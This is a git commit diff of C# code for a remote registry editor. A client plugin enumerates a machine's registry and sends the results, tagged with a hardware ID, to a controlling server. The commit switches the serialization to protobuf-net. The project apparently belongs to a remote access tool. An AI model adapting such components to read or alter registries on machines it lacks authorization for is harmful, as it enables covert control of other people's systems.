regedit(not finished)

This commit is contained in:
qwqdanchun 2021-04-23 17:03:01 +08:00
parent 0a83a21d06
commit 086b8f5d70
32 changed files with 28349 additions and 219 deletions

View File

@ -11,6 +11,7 @@ using Microsoft.Win32;
using System.Text.RegularExpressions;
using System.Runtime.Serialization.Formatters.Binary;
using static Plugin.Handler.RegistrySeeker;
using ProtoBuf;
namespace Plugin.Handler
{
@ -94,6 +95,16 @@ namespace Plugin.Handler
}
public static byte[] Serialize(RegSeekerMatch[] Matches)
{
using (MemoryStream ms = new MemoryStream())
{
Serializer.Serialize(ms, Matches);
return ms.ToArray();
}
}
public void LoadKey(string RootKeyName)
{
try
@ -101,17 +112,18 @@ namespace Plugin.Handler
RegistrySeeker seeker = new RegistrySeeker();
seeker.BeginSeeking(RootKeyName);
BinaryFormatter formatter = new BinaryFormatter();
MemoryStream mStream = new MemoryStream();
formatter.Serialize(mStream, seeker.Matches);
mStream.Flush();
//BinaryFormatter formatter = new BinaryFormatter();
//MemoryStream mStream = new MemoryStream();
//formatter.Serialize(mStream, seeker.Matches);
//mStream.Flush();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "LoadKey";
msgpack.ForcePathObject("RootKey").AsString = RootKeyName;
msgpack.ForcePathObject("Matches").SetAsBytes(mStream.GetBuffer());
msgpack.ForcePathObject("Matches").SetAsBytes(Serialize(seeker.Matches));
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
@ -119,6 +131,24 @@ namespace Plugin.Handler
Packet.Error(ex.Message);
}
}
[ProtoContract]
public class GetRegistryKeysResponse
{
[ProtoMember(1)]
public RegSeekerMatch[] Matches { get; set; }
[ProtoMember(2)]
public string RootKey { get; set; }
[ProtoMember(3)]
public bool IsError { get; set; }
[ProtoMember(4)]
public string ErrorMsg { get; set; }
}
public void CreateKey(string ParentPath)
{
string errorMsg;

View File

@ -1,4 +1,5 @@
using Microsoft.Win32;
using ProtoBuf;
using System;
using System.Collections.Generic;
@ -7,13 +8,16 @@ namespace Plugin.Handler
public class RegistrySeeker
{
[Serializable]
[ProtoContract]
public class RegSeekerMatch
{
[ProtoMember(1)]
public string Key { get; set; }
[ProtoMember(2)]
public RegValueData[] Data { get; set; }
[ProtoMember(3)]
public bool HasSubKeys { get; set; }
public override string ToString()
@ -22,13 +26,16 @@ namespace Plugin.Handler
}
}
[Serializable]
[ProtoContract]
public class RegValueData
{
[ProtoMember(1)]
public string Name { get; set; }
[ProtoMember(2)]
public RegistryValueKind Kind { get; set; }
[ProtoMember(3)]
public byte[] Data { get; set; }
}
/// <summary>

View File

@ -36,9 +36,15 @@
<PlatformTarget>AnyCPU</PlatformTarget>
</PropertyGroup>
<ItemGroup>
<Reference Include="protobuf-net, Version=2.4.0.0, Culture=neutral, PublicKeyToken=257b51d87d2e4d67, processorArchitecture=MSIL">
<HintPath>..\..\..\packages\protobuf-net.2.4.6\lib\net40\protobuf-net.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Configuration" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Runtime.Serialization" />
<Reference Include="System.ServiceModel" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />

View File

@ -2,4 +2,5 @@
<packages>
<package id="ILMerge" version="3.0.29" targetFramework="net40" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40" />
<package id="protobuf-net" version="2.4.6" targetFramework="net40" />
</packages>

View File

@ -1,13 +1,5 @@
using Server.Helper;
using Server.Helper.HexEditor;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using static Server.Helper.RegistrySeeker;

View File

@ -618,7 +618,6 @@ namespace Server.Forms
this.Name = "FormRegistryEditor";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Registry Editor []";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRegistryEditor_FormClosed);
this.Load += new System.EventHandler(this.FrmRegistryEditor_Load);
this.tableLayoutPanel.ResumeLayout(false);
this.tableLayoutPanel.PerformLayout();

View File

@ -105,23 +105,6 @@ namespace Server.Forms
//LoadRegistryKey(null);
}
private void FormRegistryEditor_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
ThreadPool.QueueUserWorkItem((o) =>
{
Client?.Disconnected();
});
}
catch { }
}
private void ShowErrorMessage(object sender, string errorMsg)
{
MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
#region TreeView helper functions
private void AddRootKey(RegSeekerMatch match)

View File

@ -125,7 +125,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
BwAAAk1TRnQBSQFMAwEBAAFgAQUBYAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
BwAAAk1TRnQBSQFMAwEBAAFoAQUBaAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
@ -169,7 +169,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
CQAAAk1TRnQBSQFMAgEBAgEAAYABBAGAAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
CQAAAk1TRnQBSQFMAgEBAgEAAYgBBAGIAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA

View File

@ -1,4 +1,5 @@
using Server.Connection;
using ProtoBuf;
using Server.Connection;
using Server.Forms;
using Server.Helper;
using Server.MessagePack;
@ -10,6 +11,7 @@ using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using static Server.Helper.RegistrySeeker;
namespace Server.Handle_Packet
{
@ -43,14 +45,16 @@ namespace Server.Handle_Packet
string rootKey = unpack_msgpack.ForcePathObject("RootKey").AsString;
byte[] Matchesbyte = unpack_msgpack.ForcePathObject("Matches").GetAsBytes();
BinaryFormatter formatter = new BinaryFormatter();
MemoryStream mStream = new MemoryStream();
mStream.Write(Matchesbyte, 0, Matchesbyte.Length);
mStream.Flush();
mStream.Seek(0, SeekOrigin.Begin);
RegistrySeeker seeker = (RegistrySeeker)formatter.Deserialize(mStream);
//BinaryFormatter formatter = new BinaryFormatter();
//MemoryStream mStream = new MemoryStream();
//mStream.Write(Matchesbyte, 0, Matchesbyte.Length);
//mStream.Flush();
//mStream.Seek(0, SeekOrigin.Begin);
FM.AddKeys(rootKey, seeker.Matches);
//RegistrySeeker seeker;
//seeker = DeSerialize(Matchesbyte);
FM.AddKeys(rootKey, DeSerialize(Matchesbyte));
}
break;
}
@ -59,5 +63,14 @@ namespace Server.Handle_Packet
}
catch { }
}
public static RegSeekerMatch[] DeSerialize(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream(bytes))
{
RegSeekerMatch[] Matches = Serializer.Deserialize<RegSeekerMatch[]>(ms);
return Matches;
}
}
}
}

View File

@ -122,180 +122,4 @@ namespace Server.Helper
}
public class RegistrySeeker
{
[Serializable]
public class RegSeekerMatch
{
public string Key { get; set; }
public RegValueData[] Data { get; set; }
public bool HasSubKeys { get; set; }
public override string ToString()
{
return $"({Key}:{Data})";
}
}
[Serializable]
public class RegValueData
{
public string Name { get; set; }
public RegistryValueKind Kind { get; set; }
public byte[] Data { get; set; }
}
/// <summary>
/// The list containing the matches found during the search.
/// </summary>
private readonly List<RegSeekerMatch> _matches;
public RegSeekerMatch[] Matches => _matches?.ToArray();
public RegistrySeeker()
{
_matches = new List<RegSeekerMatch>();
}
public void BeginSeeking(string rootKeyName)
{
if (!String.IsNullOrEmpty(rootKeyName))
{
using (RegistryKey root = GetRootKey(rootKeyName))
{
//Check if this is a root key or not
if (root != null && root.Name != rootKeyName)
{
//Must get the subKey name by removing root and '\'
string subKeyName = rootKeyName.Substring(root.Name.Length + 1);
using (RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName))
{
if (subroot != null)
Seek(subroot);
}
}
else
{
Seek(root);
}
}
}
else
{
Seek(null);
}
}
private void Seek(RegistryKey rootKey)
{
// Get root registrys
if (rootKey == null)
{
foreach (RegistryKey key in GetRootKeys())
//Just need root key so process it
ProcessKey(key, key.Name);
}
else
{
//searching for subkeys to root key
Search(rootKey);
}
}
private void Search(RegistryKey rootKey)
{
foreach (string subKeyName in rootKey.GetSubKeyNames())
{
RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName);
ProcessKey(subKey, subKeyName);
}
}
private void ProcessKey(RegistryKey key, string keyName)
{
if (key != null)
{
List<RegValueData> values = new List<RegValueData>();
foreach (string valueName in key.GetValueNames())
{
RegistryValueKind valueType = key.GetValueKind(valueName);
object valueData = key.GetValue(valueName);
values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData));
}
AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount);
}
else
{
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
}
}
private void AddMatch(string key, RegValueData[] values, int subkeycount)
{
RegSeekerMatch match = new RegSeekerMatch { Key = key, Data = values, HasSubKeys = subkeycount > 0 };
_matches.Add(match);
}
public static RegistryKey GetRootKey(string subkeyFullPath)
{
string[] path = subkeyFullPath.Split('\\');
try
{
switch (path[0]) // <== root;
{
case "HKEY_CLASSES_ROOT":
return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64);
case "HKEY_CURRENT_USER":
return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64);
case "HKEY_LOCAL_MACHINE":
return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
case "HKEY_USERS":
return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64);
case "HKEY_CURRENT_CONFIG":
return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64);
default:
/* If none of the above then the key must be invalid */
throw new Exception("Invalid rootkey, could not be found.");
}
}
catch (SystemException)
{
throw new Exception("Unable to open root registry key, you do not have the needed permissions.");
}
catch (Exception e)
{
throw e;
}
}
public static List<RegistryKey> GetRootKeys()
{
List<RegistryKey> rootKeys = new List<RegistryKey>();
try
{
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64));
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64));
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64));
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64));
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64));
}
catch (SystemException)
{
throw new Exception("Could not open root registry keys, you may not have the needed permission");
}
catch (Exception e)
{
throw e;
}
return rootKeys;
}
}
}

View File

@ -0,0 +1,190 @@
using Microsoft.Win32;
using ProtoBuf;
using System;
using System.Collections.Generic;
namespace Server.Helper
{
public class RegistrySeeker
{
[ProtoContract]
public class RegSeekerMatch
{
[ProtoMember(1)]
public string Key { get; set; }
[ProtoMember(2)]
public RegValueData[] Data { get; set; }
[ProtoMember(3)]
public bool HasSubKeys { get; set; }
public override string ToString()
{
return $"({Key}:{Data})";
}
}
[ProtoContract]
public class RegValueData
{
[ProtoMember(1)]
public string Name { get; set; }
[ProtoMember(2)]
public RegistryValueKind Kind { get; set; }
[ProtoMember(3)]
public byte[] Data { get; set; }
}
/// <summary>
/// The list containing the matches found during the search.
/// </summary>
private readonly List<RegSeekerMatch> _matches;
public RegSeekerMatch[] Matches => _matches?.ToArray();
public RegistrySeeker()
{
_matches = new List<RegSeekerMatch>();
}
public void BeginSeeking(string rootKeyName)
{
if (!String.IsNullOrEmpty(rootKeyName))
{
using(RegistryKey root = GetRootKey(rootKeyName))
{
//Check if this is a root key or not
if (root != null && root.Name != rootKeyName)
{
//Must get the subKey name by removing root and '\'
string subKeyName = rootKeyName.Substring(root.Name.Length + 1);
using(RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName))
{
if(subroot != null)
Seek(subroot);
}
}
else
{
Seek(root);
}
}
}
else
{
Seek(null);
}
}
private void Seek(RegistryKey rootKey)
{
// Get root registrys
if (rootKey == null)
{
foreach (RegistryKey key in GetRootKeys())
//Just need root key so process it
ProcessKey(key, key.Name);
}
else
{
//searching for subkeys to root key
Search(rootKey);
}
}
private void Search(RegistryKey rootKey)
{
foreach(string subKeyName in rootKey.GetSubKeyNames())
{
RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName);
ProcessKey(subKey, subKeyName);
}
}
private void ProcessKey(RegistryKey key, string keyName)
{
if (key != null)
{
List<RegValueData> values = new List<RegValueData>();
foreach (string valueName in key.GetValueNames())
{
RegistryValueKind valueType = key.GetValueKind(valueName);
object valueData = key.GetValue(valueName);
values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData));
}
AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount);
}
else
{
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
}
}
private void AddMatch(string key, RegValueData[] values, int subkeycount)
{
RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0};
_matches.Add(match);
}
public static RegistryKey GetRootKey(string subkeyFullPath)
{
string[] path = subkeyFullPath.Split('\\');
try
{
switch (path[0]) // <== root;
{
case "HKEY_CLASSES_ROOT":
return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64);
case "HKEY_CURRENT_USER":
return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64);
case "HKEY_LOCAL_MACHINE":
return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
case "HKEY_USERS":
return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64);
case "HKEY_CURRENT_CONFIG":
return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64);
default:
/* If none of the above then the key must be invalid */
throw new Exception("Invalid rootkey, could not be found.");
}
}
catch (SystemException)
{
throw new Exception("Unable to open root registry key, you do not have the needed permissions.");
}
catch(Exception e)
{
throw e;
}
}
public static List<RegistryKey> GetRootKeys()
{
List<RegistryKey> rootKeys = new List<RegistryKey>();
try
{
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64));
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64));
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64));
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64));
rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64));
}
catch (SystemException)
{
throw new Exception("Could not open root registry keys, you may not have the needed permission");
}
catch (Exception e)
{
throw e;
}
return rootKeys;
}
}
}

View File

@ -86,6 +86,9 @@
<Reference Include="Newtonsoft.Json, Version=12.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<HintPath>..\packages\Newtonsoft.Json.12.0.3\lib\net45\Newtonsoft.Json.dll</HintPath>
</Reference>
<Reference Include="protobuf-net, Version=2.4.0.0, Culture=neutral, PublicKeyToken=257b51d87d2e4d67, processorArchitecture=MSIL">
<HintPath>..\packages\protobuf-net.2.4.6\lib\net40\protobuf-net.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll</HintPath>
@ -108,6 +111,8 @@
<Reference Include="System.Runtime.CompilerServices.Unsafe, Version=4.0.4.1, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Runtime.CompilerServices.Unsafe.4.5.3\lib\net461\System.Runtime.CompilerServices.Unsafe.dll</HintPath>
</Reference>
<Reference Include="System.Runtime.Serialization" />
<Reference Include="System.ServiceModel" />
<Reference Include="System.Web" />
<Reference Include="System.Web.Extensions" />
<Reference Include="System.Xml.Linq" />
@ -328,6 +333,7 @@
</Compile>
<Compile Include="Helper\RegistryKeyExtensions.cs" />
<Compile Include="Helper\RegistryKeyHelper.cs" />
<Compile Include="Helper\RegistrySeeker.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />

View File

@ -6,6 +6,7 @@
<package id="ILMerge" version="3.0.29" targetFramework="net46" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net46" />
<package id="Newtonsoft.Json" version="12.0.3" targetFramework="net46" />
<package id="protobuf-net" version="2.4.6" targetFramework="net461" />
<package id="System.Buffers" version="4.5.1" targetFramework="net461" />
<package id="System.Collections.Immutable" version="1.7.1" targetFramework="net461" />
<package id="System.Memory" version="4.5.4" targetFramework="net461" />

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.